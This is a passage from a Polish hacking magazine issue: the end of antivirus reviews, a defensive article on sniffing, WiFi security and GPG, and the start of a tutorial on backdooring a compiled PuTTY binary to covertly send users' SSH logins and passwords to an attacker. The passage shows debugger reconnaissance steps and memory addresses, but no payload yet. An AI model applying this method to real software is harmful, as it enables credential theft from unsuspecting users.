narzędziem jest ochrona WWW, zwłaszcza, gdy używa-
my Internet Explorera. Sprawdziłem exploity na IE6 i na
Firefoksa 1.5. Kaspersky zablokował je i dodał do logów
odpowiednie wpisy.
Phishing, zjawisko coraz częściej występujące
i oparte na niewiedzy lub braku rozwagi użytkownika,
pozwala na przejęcie każdej informacji, jaką ten wpro-
wadzi do sfałszowanego systemu. W celu sprawdzenia,
jak radzi sobie z nim Kaspersky, utworzyłem bliźniaczą
stronę Gmaila. Otworzyłem ją, używając Firefoksa – ku
mojemu zdziwieniu program nic nie wykrył. Zatem w tym
przypadku trzeba liczyć na siebie samego.
Ochrona rodzicielska to jeszcze jedno narzędzie, przy-
datne do kontrolowania zawartości, do której ma mieć
dostęp określony użytkownik. Jest to przydatny kom-
ponent dla użytkowników systemu Microsoft Win-
dows XP (lub starszego). Działa bez zarzutów: blo-
kuje strony WWW z czarnej listy i dopuszcza z białej.
W moim przypadku wystarczyło jednak użycie Web
proxy, by czarna lista przestała stanowić jakąkolwiek
przeszkodę.
Rootkity to coraz częściej spotykane programy,
które podszywają się pod biblioteki systemowe i dzięki
temu mogą pozostać niezauważone w trakcie działa-
nia systemu operacyjnego. Kaspersky ma wbudowa-
ny wykrywacz rootkitów. Radzi on sobie z popularnymi
zagrożeniami, jednak w starciu z płatnymi, wyspecjali-
zowanymi rootkitami nie ma szans.
Bardzo przydatną funkcją jest zapisywanie prób
ataków. Kiedy symulowałem atak z drugiego kompu-
tera, Kaspersky zapisał adres IP napastnika. Nieste-
ty, jeśli atakujący korzysta z zagranicznego proxy,
wtedy nie znajdziemy go własnymi siłami (no, chyba,
że mamy kolegę – administratora tego serwera). Jeżeli
jednak ktoś przeprowadzi atak, możemy przejrzeć logi
systemowe lub firewalla.
Moja ocena programu to 4+, pakiet całkowicie na nią
zasługuje.
Michał Koźmiński
Producent: Kaspersky
System: Windows 2000, Windows XP, Windows Vista
Typ: Internet Security
Strona producenta: http://www.kaspersky.pl/
Ocena: 4,5
Kaspersky Internet
Security 7
Rysunek 1.
Kaspersky Internet Security 7
12
Narzędzia
hakin9 Nr 2/2008
www.hakin9.org
13
hakin9 Nr 2/2008
www.hakin9.org
Narzędzia
Program jest dostępny na kilka sposobów: mamy
wersję z CD oraz elektroniczną. Tę drugą ściągamy
ze strony producenta (http://www.avgpolska.pl, dział
Pobierz). Aby uzyskać klucz licencyjny, rejestrujemy
się na stronie WWW, wypełniając odpowiedni formu-
larz (pola wymagane oznaczone są gwiazdką). Już po
chwili w naszej skrzynce e-mail znajdzie się wiado-
mość związana z procesem rejestracji, włącznie z klu-
czem pozwalającym zainstalować program AVG.
Kolejne etapy instalacji przebiegają szybko,
na początku wybieramy język instalacji (w najnowszej
wersji jest już język polski). Przechodzimy do wyboru
trybu instalacji. Ja wybrałem wersję zaawansowaną,
więc w dalszych krokach zostałem zapytany o położe-
nie instalowanego programu czy zestaw modułów, które
chcę zainstalować. Aby przetestować pełną funkcjonal-
ność,wybrałem instalację zalecaną przez producenta
– ze wszystkimi składnikami, w sugerowanych katalo-
gach. Jeszcze przed zakończeniem instalacji program
zapytał, czy ma pobrać aktualizacje i wykonać pełne
skanowanie systemu.
Zainstalowane moduły: Firewall, Anti-Spyware
i Anti-Spam pozwalają na kompleksową ochronę kom-
putera. Pracę z programem możemy prowadzić poprzez
dwa interfejsy, podstawowy i zaawansowany. Interfejs
prosty pozwala jedynie na wykonanie skanowania,
zdefiniowanie reguł skanowania, sprawdzenie pozio-
mu działania modułów, sprawdzenie raportu ostatnie-
go skanowania oraz wykonanie aktualizacji. Z pod-
stawowego interfejsu możemy w każdej chwili przejść
do Centrum Kontroli i Zaawansowanych ustawień. W
ustawieniach zaawansowanych pojawia się dodatko-
wa możliwość – ustawienia systemu. W aplikacji AVG
postawiono na kreatory zadań. Skanowanie systemu
wykonujemy poprzez taki właśnie kreator. Obok zde-
finiowania reguł skanowania, ustawiamy także harmo-
nogram skanowania komputera, decydując o odstę-
pach pomiędzy poszczególnymi badaniami, plikach,
lokalizacjach. Oprócz wywołania ręcznego skanowania
systemu, możemy również ustalić dokładny harmono-
gram pracy skanera. Sama praca programu oparta jest
na modułach, o prawidłowości ich działania (bądź
ewentualnych błędach) informują nas kolorowe ikony:
zielone (moduły pracują bez błędów), żółte (zignoro-
wano błędy jednego ze składników) albo czerwone (źle
skonfigurowany jeden ze składników). Ogólna konfigu-
racja programu ogranicza się do ustawień związanych
z występowaniem danych opcji w menu. Minusem jest
brak możliwości włączania i wyłączania poszczegól-
nych modułów – można dezaktywować jedynie firewal-
le, ustawiając regułę przepuszczaj cały ruch sieciowy.
W podobny sposób, jak dla interfejsu prostego, tworzymy
zadania do skanowania i reguły. Ciekawym rozwiązaniem
jest grupa opcji dotycząca firewalli i polityk bezpieczeństwa.
Pierwsze, na co zwróciłem uwagę, to schemat zabezpieczeń
– dostępne są następujące możliwości: laptop, komputer pra-
cujący w domenie, komputer w sieci lokalnej. W zależności
od wybranego profilu system sam zmienia zasady bezpie-
czeństwa. Brakuje jednak opcji tworzenia własnego profilu.
W ustawieniach firewalla przechodzimy do zakładki Appli-
cations, gdzie definiujemy reguły dla programów zainsta-
lowanych w komputerze. Oprócz standardowych aplikacji
możemy dodać własne, decydujemy także, które porty są
przydzielane do danej aplikacji. Moim zdaniem jest to roz-
wiązanie przemyślane, przejrzyste i nawet średnio zaawan-
sowanemu użytkownikowi nie powinno sprawić problemów
(naturalnie, przydaje się znajomość sieci TCP/IP i portów).
W zakładce System decydujemy o ustawieniach usług sys-
temowych. Ta grupa opcji zalecana jest użytkownikom
zaawansowanym, gdyż nieodpowiednie skonfigurowanie
usług systemowych może zablokować dostęp do Internetu
czy drukarki sieciowej. Także zakładka Networks ma istotne
znaczenie – definiujemy tam dostępność interfejsów, które
będą przez nas nadzorowane. Decydujemy, czy dany inter-
fejs będzie pracował jednocześnie z innym, czy podłączenie
przez jeden będzie automatycznie blokować drugi. Możemy
także przypisać profile ustawień firewalla do konkretnego
interfejsu.
W mojej ocenie program AVG stanowi bardzo dobre
centrum ochrony komputera. Zajmuje mało pamięci
operacyjnej, jest szybki. Brakuje mi w nim kilku usta-
wień. Ale mimo wszystko praca z takimi rozwiązania-
mi i interfejsem jest przyjemna oraz intuicyjna. Gorąco
zachęcam do wypróbowania wersji demo.
Rafał Podsiadły
AVG Internet Security 7.5
Producent: AVG Grisoft
System: Windows 2000, Windows XP, Windows Vista
Typ: Internet Security
Strona producenta: http://www.avg.pl/
Strona dystrybutora: www.quantus.pl
Ocena: 5
www.hakin9.org
hakin9 Nr 2/2008
14
Początki
O
statnio, w związku z szerzącą się modą
na hotspoty, popularny stał się również
wardriving. Jest to nic innego, jak wy-
szukiwanie sieci bezprzewodowych. Należy pa-
miętać, że nie zawsze oznacza to włamywanie
się do nich. Niektórzy jednak nie poprzestają na
wyszukaniu sieci i kradną dane. Dalsza część ar-
tykułu naprowadzi Cię na sposób, w jaki powinni-
śmy się zabezpieczyć przed takimi atakami.
Jeśli chcemy się uchronić przed jakimś za-
grożeniem, to musimy je najpierw poznać. Snif-
fing odbywa się poprzez przechwytywanie pa-
kietów sieci lokalnej (Rysunek 1). Większość
osób może odbierać jedynie własne pakiety, po-
nieważ współcześnie sieci są oparte o switche
lub routery pozwalające na przesyłanie danych
tylko do komputera, do którego zostały przeka-
zane informacje. Jedynie huby wysyłają pakie-
ty do wszystkich użytkowników, lecz aktualnie
rzadko wykorzystuje się urządzenia tego typu.
Zabezpieczenia routera da się ominąć po-
przez przepełnienie tablicy ARP lub ARP Po-
isoning. Nie będę tutaj opisywać tych metod,
ponieważ mamy inny cel – a osoby bardziej za-
interesowane tym tematem znajdą pożądane
informacje w Internecie (ramka W Sieci). Snif-
fing często wiąże się z wardrivingiem. Napast-
nik najpierw wyszukuje sieć bezprzewodową,
a następnie łączy się z nią. Jeśli sieć jest ogól-
nodostępna, to nie ma żadnego problemu, po-
nieważ potrzebne dane zostaną pozyskane
dzięki DHCP. Często jednak zdarza się, że sieć
jest chroniona kluczem, ponieważ za dostęp
trzeba zapłacić lub po prostu ktoś nie chciał
przyjmować niepowołanych gości.
Szyfrowanie połączenia
Pierwszym krokiem, jaki powinniśmy zrobić
w kierunku zabezpieczenia swojego kompute-
ra, jest szyfrowanie czegokolwiek, co wysyłamy
do sieci. Możemy w tym celu zastosować często
używany standard SSL (Secure Socket Layer).
Sniffing i wardriving
– zabezpiecz się!
Konrad Witaszczyk
stopień trudności
Wiele osób korzystających z Internetu nie zdaje sobie sprawy,
że oprócz takich zagrożeń, jak robaki i wirusy istnieje również
sniffing (ang. sniff – węszyć). Wykorzystując tę technikę można
dowiedzieć się między innymi, jakie ktoś ma hasła.
Z artykułu dowiesz się
• jak bezpiecznie korzystać z Sieci,
• jak zabezpieczyć własną sieć bezprzewodową.
Co powinieneś wiedzieć
• w jaki sposób wysyłane są dane do serwerów,
• powinieneś znać podstawowe pojęcia dotyczą-
ce sieci bezprzewodowych.
Sniffing i wardriving – zabezpiecz się!
hakin9 Nr 2/2008
www.hakin9.org
15
Jednak nie jest on już dłużej rozwija-
ny, a jego miejsce zajął TLS (Trans-
port Layer Security). Doskonale na-
daje się on do szyfrowania takich pro-
tokołów, jak HTTP, SMTP czy POP3.
Największą różnicą między SSL
a TLS jest to, iż nowsza wersja używa
algorytmu HMAC, który trudniej zła-
mać w przeciwieństwie do wcześniej
stosowanego algorytmu MAC. Różni
je to, że pierwszy z nich wykorzystu-
je hashe (MD5 lub SHA1), do których
są dołączane klucze oraz nie posiada
ograniczeń długości tekstu.
Coraz więcej banków, firm ho-
stingowych czy nawet zwyczajnych
serwisów używa SSL bądź TLS, co
daje klientowi satysfakcję z ochro-
ny danych. W celu wykorzystania
tej technologii musimy dysponować
przeglądarką internetową, która po-
siada pełną obsługę SSL 128-bit:
• Opera – SSL 2, SSL 3, TLS 1,
TLS 1.1,
• Firefox – SSL 3, TLS 1,
• Internet Explorer – SSL 2, SSL
3, TLS 1.
Aktywowanie tej funkcji jest proste.
Najpierw należy w ustawieniach prze-
glądarki włączyć szyfrowanie połą-
czeń, a następnie przy otwieraniu stro-
ny zaakceptować certyfikat.
Komunikatory
Częstym przypadkiem ataku typu
sniffing jest podsłuchiwanie rozmów.
Niestety większość polskich użyt-
kowników korzysta z komunikatora
Gadu-Gadu, którego twórcy dopiero
niedawno rozpoczęli testy wersji pro-
gramu z szyfrowanym połączeniem.
Jednak w tej sytuacji możemy wy-
brać inne rozwiązanie, a konkretnie
– Jabbera (patrz Terminologia). Za-
letami tego protokołu komunikacji są
przede wszystkim bezpieczeństwo
i wielofunkcyjność. Gdy zdecydujemy
się na to rozwiązanie, możemy szy-
frować połączenie, jeśli nam na to
pozwoli serwer, a dodatkowo istnieje
możliwość wykorzystywania PGP lub
GPG (patrz Terminologia) w celu szy-
frowania transmisji. Wybranie tej opcji
nie wiąże się z rezygnacją z używania
takich protokołów, jak Gadu-Gadu czy
Tlen, ponieważ Jabber zawiera obsłu-
gę tzw. transportów, czyli przekaza-
nia użytkownikowi kontroli nad API da-
nej sieci. Dodatkowym atutem Jabbe-
ra jest otwartość jego kodu (ang. open
source). Dzięki temu powstało wiele
ciekawych komunikatorów, które cie-
szą się znaczną popularnością.
GNU Privacy Guard
Jak wcześniej wspomniałem, GPG jest
idealnym rozwiązaniem dla osób, które
chcą mieć pewność, że nikt ich nie pod-
słuchuje. W tej części artykułu wygene-
rujemy swoją pierwszą parę kluczy.
Program ten jest wieloplatformo-
wy, więc zarówno użytkownicy *nix,
jak i Windows nie będą mieć kłopotu
z dostępem do niego. Obsługa aplika-
cji wygląda tak samo w każdym sys-
temie. Gdy mamy zainstalowane od-
powiednie oprogramowanie, wpisuje-
my w konsoli:
gpg – gen-key
Pojawia się numer wersji programu, tro-
chę informacji na temat licencji i głów-
GPG - komendy
•
gpg – list-keys
– lista wygenerowanych kluczy,
•
gpg – export adres@adres.com –armour –output plik _ klucza
– eksport klu-
cza publicznego do pliku,
•
gpg – import plik _ klucza
– import klucza z pliku,
•
gpg – edit-key adres@adres.com
– weryfikacja klucza,
•
gpg – delete-keys nazwa
– usuwanie klucza,
•
gpg – output wiadomość _ zaszyfrowana –encrypt wiadomość
– szyfrowanie
wiadomości,
•
gpg – decrypt wiadomość _ zaszyfrowana
– odszyfrowanie wiadomości,
•
gpg – output wiadomość _ podpisana –clearsign wiadomość
– podpisywanie
wiadomości,
•
gpg – verify wiadomość _ podpisana
– weryfikacja podpisanej wiadomości.
Rysunek 1.
Przechwycony pakiet z odpowiedzią serwera HTTP po
otworzeniu obrazka GIF
Literatura
• 802.11 Security – Bruce Potter, Bob Fleck; 01/2004,
• Hack Proofing Your Network – 10/2002,
• TCP/IP Unleashed – Karanjit S. Siyan, Tim Parker; 12/2002,
• Upgrading and Repairing Networks: Field Guide – Scott Mueller, Terry W. Ogle-
tree; 04/2004,
• Wireless Hacks – Lee Barken; 11/2006.
hakin9 Nr 2/2008
www.hakin9.org
Początki
16
ne menu. Musimy w nim wybrać, ja-
ki algorytm wykorzystamy. Wybierze-
my pierwszą opcję (DSA i Elgamal),
ponieważ dzięki niej będziemy mieć
możliwość szyfrowania i podpisywa-
nia wiadomości. Następny krok to wy-
bór długości klucza, a potem jego ter-
minu ważności. Po tych czynnościach
musimy wpisać swoje imię, nazwisko
oraz e-mail. Dane nie muszą być praw-
dziwe, ważne, żeby osoby korzysta-
jące z klucza publicznego wiedziały,
do kogo on należy. Jeśli wszystko się
zgadza, akceptujemy wpisane dane
oraz podajemy hasło dostępu, które
powinno być odpowiednio skompliko-
wane, aby nikt poza nami go nie znał
i nie mógł odgadnąć. Jeśli wszystko
poszło dobrze, powinniśmy ujrzeć ko-
munikat zwracający fingerprint. Posia-
danie tego ciągu jest wymagane, by
uchronić się przed atakiem Man in the
middle. Eksport klucza do pliku wyko-
nujemy za pomocą komendy:
gpg –export adres@adres.com –armour–
output plik
Teraz możemy udostępnić klucz pu-
bliczny znajomym i szyfrować swoje
wiadomości. Pozostałe komendy po-
trzebne do korzystania z programu
zostały przedstawione w ramce GPG
– komendy.
IDS
System wykrywania włamań (ang. In-
trusion Detection System) to pożytecz-
ny mechanizm, który pomaga nam po-
przez dostarczanie raportów o ewentu-
alnych atakach na nasz komputer, wy-
krytych dzięki analizie ruchu sieciowe-
go. Jedną ze słynniejszych aplikacji
wykorzystujących tego typu mecha-
nizm jest Snort, który pokazuje komu-
nikaty w czasie rzeczywistym. Informu-
ją one nas m. in. o wysyłanych oraz od-
bieranych pakietach, próbach ataków
typu buffer overflow (przepełnienie bu-
fora), skanowaniu portów przez intru-
za czy próbie wykrycia wersji nasze-
go systemu operacyjnego. Przykłado-
wy wynik działania tego programu zo-
stał przedstawiony na Rysunku 2. Dla
osób, które są przyzwyczajone do
okienek, został stworzony front-end te-
go programu o nazwie IDScenter (http:
//www.engagesecurity.com/products/
idscenter). Istnieje jeszcze kilka apli-
kacji tego typu dla użytkowników sys-
temu Windows, np. KFSensor (http:
//www.keyfocus.net/kfsensor),
lecz
jest on mniej popularny niż poprzednio
wspomniany konkurent. Innym wartym
uwagi programem tego typu jest Ki-
smet (http://www.kismetwireless.net).
Oprócz tego, iż posiada on mechanizm
IDS, może wyszukiwać sieci bezprze-
wodowe, a także sniffować.
Bezpieczne WiFi
Przy budowie sieci bezprzewodowej
musimy rozważyć wszelkie możliwo-
ści dostania się do niej przez niepowo-
łane osoby. Wielu administratorów po-
pełnia błąd, tworząc sieci bezprzewo-
dowe bez szyfrowania. Inni natomiast
Rysunek 2.
Wynik działania programu Snort
W Sieci
• http://www.gnupg.org – GnuPG,
• http://www.openssl.org
• http://tools.ietf.org/html/rfc4346
– TLS 1.1, RFC 4346,
• http://tools.ietf.org/html/rfc1122
– warstwy komunikacji, RFC 1122.
Sniffing i wardriving – zabezpiecz się!
hakin9 Nr 2/2008
www.hakin9.org
17
stosują jedynie DHCP, które polega na
pozyskaniu adresu sieciowego IP po-
przez odczytanie MAC, czyli unikato-
wego numeru interfejsu. W tym wy-
padku osoba atakująca może zasto-
sować MAC Spoofing, czyli ustawia-
nie identyfikatora MAC innej osoby
i podszywanie się pod nią. Jeśli sieć
używa klucza WEP, to – przy odpo-
wiedniej ilości przechwyconych pakie-
tów – można go często odszyfrować
w przeciągu minuty. Do tego służy
program Aircrack–ng – wyszukiwarka
sieci, sniffer i łamacz WEP oraz WPA-
PSK (prostsza wersja WPA). Najlep-
szym sposobem przeciwdziałania jest
zaszyfrowanie sieci standardem WPA
(wersja Enterprise), który zaleca Wi-Fi
Alliance. Został on stworzony jako na-
stępca WEP, który stał się mało bez-
pieczny. Każda osoba powinna mieć
swój oddzielny klucz. Można go wy-
generować za pośrednictwem strony
speedguide.net, która zawiera gene-
rator z możliwością wyboru różnej dłu-
gości klucza. Warto taką czynność po-
wtarzać co jakiś czas, np. raz w mie-
siącu. Hasło powinno zawierać znaki
specjalne i być długie, trudne do zła-
mania. Dzięki temu istnieje mniejsza
szansa na złamanie hasła metodą
brute–force, czyli poprzez sprawdze-
nie wszystkich kombinacji, np:
aa; ab; ac (...) ba; bb; bc (...)
Niestety, nie we wszystkich urządze-
niach jest dostępna obsługa WPA, je-
żeli się jednak pojawiła, to bez zasta-
nowienia należy ją włączyć.
Dodatkowym
zabezpieczeniem
może być ukrycie SSID, czyli identy-
fikatora sieci. Wydaje się to być do-
brym wyjściem, choć nie do końca.
Osoba atakująca ma możliwość stwo-
rzenia sieci z widocznym SSID o takiej
samej nazwie, która będzie na tym
samym kanale, co prawdziwa. Dzięki
temu może przechwycić pakiety i od-
czytać poufne informacje.
Można również włączyć serwer
DHCP z listą dostępową zawiera-
jącą dopuszczalne wartości MAC,
która ułatwi proces uwierzytelnienia
użytkowników. Jednak nie jest on po-
trzebny przy małej ilości osób korzy-
stających z sieci. Każdy może sam
wpisać potrzebne dane w konfigura-
cji karty sieciowej.
Podsumowanie
Przy korzystaniu z Internetu musi-
my być gotowi na wszelkiego rodzaju
niebezpieczeństwa. Najlepszą obro-
ną przed nimi jest logiczne myślenie
i ostrożność w działaniu. Zabezpie-
czenie się przed zagrożeniami mo-
że wydawać się czasochłonne, ale
podjęty trud zapewni nam spokój
i ochroni naszą prywatność. Admi-
nistratorzy muszą pamiętać, że brak
dostatecznych zabezpieczeń stano-
wi pośrednio przyzwolenie na wła-
manie się do sieci. Poprawiając bez-
pieczeństwo zwiększają zaufanie do
swoich usług. l
O autorze
Autor jest programistą PHP w firmie zajmującej się projektowaniem stron interne-
towych. Dodatkowo prowadzi kilka projektów, w tym Ruby Movie Get (http://movie-
get.org) oraz wyklady.net. Kontakt z autorem: defc0n@defc0n.or
Terminologia
• Adres IP – unikatowy numer komputera w danej sieci,
• DHCP – technologia pozyskiwania od serwera takich danych, jak IP, DNS czy ad-
res domyślnej bramy po rozpoznaniu MAC,
• Fingerprint – suma kontrolna klucza PGP/GPG, dzięki niej możemy go zweryfikować,
• HotSpot – punkt dostępowy bezprzewodowej sieci, przykładowo prawie w każdym
McDonaldzie można zaobserwować płatny hotspot sieci Era,
• MAC – unikatowy adres karty sieciowej,
• PGP/GPG – program do szyfrowania wiadomości wykorzystujący algorytm DSA
lub RSA.
R
E
K
L
A
M
A
www.hakin9.org
hakin9 Nr 2/2008
18
Atak
O
gólnie rzecz biorąc, zmodyfikowanie
aplikacji nie stanowi większego pro-
blemu, gdy posiadamy dostęp do jej
kodu źródłowego. Szczególnie, jeśli zosta-
ła napisana w języku wysokiego poziomu
– jak C czy C++. Możemy z łatwością zmie-
nić jej zachowanie czy też dodać do niej no-
we opcje poprzez dodanie kilku instrukcji lub
funkcji. Wystarczy, że otworzymy kod źródło-
wy, dodamy kilka linijek i ponownie skompilu-
jemy aplikację. To wszystko, co jest potrzeb-
ne do zmiany aplikacji o dostępnym kodzie
źródłowym.
O wiele trudniej jest zmienić aplikację,
gdy wszystko co posiadamy, to kilka wcze-
śniej skompilowanych plików binarnych nie-
wiadomego przeznaczenia. Praca z plikami
binarnymi wiąże się z niskopoziomową ana-
lizą kodu maszynowego za pomocą różnego
rodzaju narzędzi przeznaczonych do tego ce-
lu – jak hexedytory czy disasemblery, wyma-
ga również znajomości asemblera oraz syste-
mu operacyjnego, dla którego została napisa-
na aplikacja.
W tym artykule czytelnik zostanie przepro-
wadzony krok po kroku poprzez proces mo-
dyfikacji dobrze znanego klienta SSH – PuT-
TY, wykorzystując tylko jego skompilowaną
wersję. Wszystko, co będziemy potrzebowa-
li, to plik wykonywalny putty.exe w wersji 0.60
(z uwagi na podane w dalszej części artykułu
adresy przesunięć, które mogą się różnić w in-
nych wersjach, czytelnik powinien pobrać do-
kładnie taką samą wersję PuTTY). Naszym
celem będzie dodanie do programu PuTTY
dodatkowej procedury, która sprawi, że lo-
giny i hasła wprowadzone przez użytkowni-
Hakowanie PuTTY
Dawid Gołuński
stopień trudności
Chyba każdy z nas słyszał o tylnych furtkach w programach
open-source. Czasami słyszy się o pakietach systemu Linux
lub nawet dystrybucjach, które zostały zmodyfikowane. Jednak
nie każdy wie, że także już skompilowane oprogramowanie jest
podatne na modyfikacje. Artykuł pokazuje, jak zmodyfikować
skompilowaną aplikację na przykładzie klienta SSH – PuTTY.
Z artykułu dowiesz się
• jak zmodyfikować aplikację bez dostępu do ko-
du źródłowego.
Co powinieneś wiedzieć
• znać podstawy asemblera i niskopoziomowego
programowania,
• posiadać podstawową wiedzę na temat forma-
tu plików wykonywalnych PE,
• znać narzędzia służące do binarnej analizy, ta-
kie jak OllyDbg, IDA czy Hiew,
• znać podstawy programowania w środowisku
Windows oraz znać Windows API.
Backdoory w kodzie binarnym
hakin9 Nr 2/2008
www.hakin9.org
19
ka w procesie logowania do zdal-
nego systemu (po nawiązaniu se-
sji SSH) zostaną w sposób niewi-
doczny przesłane poprzez Internet
do wybranego przez nas miejsca.
Research – zbieranie
informacji
Na początku musimy ustalić, czy
program nie został skompresowa-
ny za pomocą pakerów plików wy-
konywalnych, jak UPX czy Aspack.
Modyfikowanie
skompresowanej
aplikacji nie miałoby bowiem sen-
su. Aby dowiedzieć się, czy aplika-
cja została skompresowana, może-
my posłużyć się jednym z narzędzi
służących do analizy plików PE, jak
np. popularny PEiD.
Po wczytaniu pliku putty.exe do
PEiD uzyskamy informacje na te-
mat języka, w którym został napisa-
ny PuTTY. PEiD nie wspomina nato-
miast o żadnym kompresorze, więc
możemy uznać, że plik nie został
skompresowany i jego rozpakowa-
nie nie będzie konieczne.
Badamy proces logowania
Aby dowiedzieć się, jaki lo-
gin oraz hasło wprowadził użyt-
kownik podczas logowania się
do zdalnego systemu, będzie-
my musieli znaleźć sposób na
przechwycenie klawiszy wciska-
nych w oknie programu PuTTY.
W tym celu musimy dokładnie
przyjrzeć się procesowi logowa-
nia, tak aby ustalić, w jaki sposób
PuTTY obsługuje klawiaturę tuż po
nawiązaniu sesji SSH z serwerem.
Posłużymy się tu popularnym
debuggerem – OllyDbg. Posiada
on bardzo użyteczną funkcje lo-
gowania breakpointów (pułapek).
Dzięki niej jesteśmy w stanie usta-
wić logowanie wszystkich wywołań
API (Application Programming In-
terface) i w ten sposób dowiedzieć
się, jakie funkcje są wykorzysty-
wane oraz gdzie trafiają naciśnię-
te klawisze.
Po wczytaniu pliku putty.exe
do debuggera klikamy prawym przy-
ciskiem myszy w dowolne miejsce
w oknie kodu i z menu konteksto-
wego wybieramy Search for –> All
intermodular calls. W oddzielnym
oknie (okno referencji) otrzyma-
my pełną listę funkcji wykorzysty-
wanych przez program PuTTY. Na-
stępnie klikamy prawym przyci-
skiem myszy na okno referencji
i z menu kontekstowego wybieramy
Set log breakpoint on every com-
mand. Po ukazaniu się okna dialo-
gowego, w którym możemy ustawić
właściwości naszej pułapki, zazna-
czamy opcję Always przy Log func-
tion arguments, co spowoduje, że
oprócz samych nazw funkcji, logo-
wane będą również przekazane do
nich parametry. Następnie przecho-
dzimy do okna, w którym logowane
są zdarzenia (Log window).
Po uruchomieniu programu (po-
przez F9) w oknie zaczną poja-
wiać się nazwy kolejno wywoływa-
nych funkcji wraz z parametrami.
Po chwili ujrzymy okno dialogowe
programu PuTTY, w którym wpisu-
jemy parametry połączenia (adres
serwera, port). Zanim jednak wci-
śniemy przycisk Open w celu na-
wiązania połączenia SSH, musi-
my tak skonfigurować nasz debug-
ger, aby wszystko, co pojawia się
w oknie Log window, logował do pli-
ku tekstowego – tak, żebyśmy ni-
czego nie przeoczyli.
Po wciśnięciu przycisku Open
nawiązana zostanie sesja SSH
z podanym serwerem. Zostanie-
my poproszeni o wpisanie nazwy
użytkownika. Wpisujemy tu jakieś
unikalne słowo jak np. FOOBAR,
co ułatwi jego późniejsze odszuka-
nie w pliku dziennika. Następnie za-
mykamy plik dziennika wybierając
Rysunek 1.
Analiza pliku putty.exe przy użyciu PeID
Rysunek 2.
Monitorowanie wywołań API przy użyciu debuggera OllyDbg
hakin9 Nr 2/2008
www.hakin9.org
Atak
20
z menu kontekstowego Close log fi-
le, żeby nie zwiększać niepotrzeb-
nie jego objętości.
Spójrzmy teraz na wygenerowa-
ny plik dziennika, aby dowiedzieć się
jak PuTTY odczytuje znaki wprowa-
dzone przez użytkownika. Ze wzglę-
du na objętość pliku ciężko jest
sprawdzić każdą z funkcji, dlatego
możemy spróbować odszukać sło-
wo, które podaliśmy jako login lub
też litery składające się na to słowo
– obejmując je w apostrofy: 'F'. Mo-
żemy również założyć, że do jednej
z funkcji został przekazany komu-
nikat
WM _ KEYDOWN
, gdyż to właśnie
za jego pomocą system operacyj-
ny Windows przekazuje informacje
otrzymane z klawiatury do urucho-
mionej aplikacji. Dlatego możemy
również spróbować przeszukać plik
pod kątem tej nazwy komunikatu.
Niezależnie od tego, jaką meto-
dę wykorzystamy, odnajdziemy gru-
pę funkcji powiązanych z obsługą
klawiatury przez program PuTTY.
Funkcje te zostały przedstawione
na Listingu 1.
Funkcja, która szczególnie wyróż-
nia się na przedstawionym listingu, to
ToAsciiEx
. Zgodnie z bazą MSDN,
tłumaczy ona podany kod klawisza
(virtual-key code) na odpowiadają-
cy mu znak lub znaki. Innymi słowy,
funkcja zwraca kod ASCII wciśnię-
tych klawiszy. To jest właśnie to, cze-
go nam potrzeba! Jeśli tylko udałoby
nam się przechwycić wyniki zwraca-
ne przez tę funkcję, bylibyśmy w sta-
nie przechwycić litery loginu i hasła
użytkownika, literka po literce. Za-
pamiętajmy nazwę tej funkcji, gdyż
to właśnie z niej skorzystamy w celu
przechwycenia danych.
Odnajdujemy nazwę hosta
Wiemy już, w jaki sposób przechwy-
cimy login i hasło podane przez użyt-
kownika. Co jednak z nazwą hosta,
z którym się on łączy? Bez niej prze-
chwycone dane są kompletnie bezu-
żyteczne, gdyż nie wiemy, do jakie-
go serwera one pasują. Dlatego teraz
musimy znaleźć sposób, który pozwo-
li nam wydobyć nazwę hosta.
Jak można łatwo zauważyć, PuT-
TY wypisuje nazwę hosta na pasku
tytułowym okna zaraz po nawiąza-
niu połączenia z serwerem. Wydoby-
cie nazwy z tego miejsca nie powin-
no stanowić większego problemu,
jednak mimo wszystko wiązałoby
się z użyciem funkcji
GetWindowTextA
,
która wymaga przekazania uchwytu
okna (hwnd). Dużo łatwiejszym spo-
sobem na wydobycie nazwy byłoby
po prostu skopiowanie jej z pamięci.
PuTTY musi posiadać jakiś bufor, do
którego kopiuje nazwę hosta po po-
braniu jej od użytkownika. Aby odna-
leźć hostname w pamięci, musimy
prześledzić, co się z nim dzieje krót-
ko po wpisaniu go w oknie konfigura-
cji połączenia.
Nazwa hosta wpisywana jest
w polu edycji. Wystarczy wiedzieć,
że programy w systemie Windows
powszechnie korzystają z funk-
cji
GetDlgItemTextA
w celu wydoby-
cia tekstu z kontrolki (w tym również
pól edycji) w oknie dialogowym. Wy-
starczy więc prześledzić odwołania
do tej funkcji, aby przekonać się, czy
PuTTY używa jej do wydobycia wpi-
sanej nazwy hosta z pola edycji.
Posłużymy się tu ponownie de-
buggerem OllyDbg. Usuwamy wszyst-
kie breakpointy ustawione poprzed-
nio. Następnie ustawiamy pułap-
ki na wszystkich wywołaniach funkcji
GetDlgItemTextA
(wystarczy odnaleźć
i kliknąć prawym przyciskiem myszy
jedno z wywołań tej funkcji i wybrać
z menu kontekstowego: Set log break-
point on every call to GetDlgItemTextA
function), po czym wciskamy (CTR-
L+F2), aby zrestartować program. Po
ponownym uruchomieniu programu
(F9) PuTTY wpisujemy wybraną przez
nas nazwę hosta i nawiązujemy połą-
czenie SSH poprzez kliknięcie przyci-
sku Open.
Debugger przerwie wykony-
wanie programu PuTTY pod ad-
resem
0x435F67
, gdzie mieści się
pierwsze odwołanie do funkcji
GetDlgItemTextA
. Jak można zauwa-
żyć na Rysunku 3. do funkcji prze-
kazywane są cztery parametry, je-
den z nich oznaczony jest jako Buf-
fer. Parametr ten wskazuje miejsce w
pamięci, pod które trafi skopiowany
tekst z pola edycji. Obserwując war-
tości umieszczone na stosie (pra-
wa dolna część Rysunku 3), jeste-
śmy w stanie odczytać adres wska-
zywany przez parametr
Buffer
, jest
on równy
0x46D680
. Jeśli teraz usta-
wimy podgląd szesnastkowy (okien-
ko hex dump) na ten adres pamię-
ci oraz wymusimy wykonanie funk-
cji (klawiszem F8)
GetDlgItemTextA
– ujrzymy nazwę hosta, którą podali-
śmy w oknie konfiguracji połączenia.
W ten sposób otrzymujemy adres,
który wykorzystamy później w na-
szym kodzie do wydobycia nazwy
hosta podanej przez użytkownika.
Szukamy miejsca na kod
Na tym etapie wiemy już, skąd uzy-
skać potrzebne informacje (login/
Rysunek 3.
Śledzenie funkcji GetDlgItemTextA w celu odszukania nazwy
hosta w pamięci
Rysunek 4.
Sekcje wewnątrz pliku putty.exe
Backdoory w kodzie binarnym
hakin9 Nr 2/2008
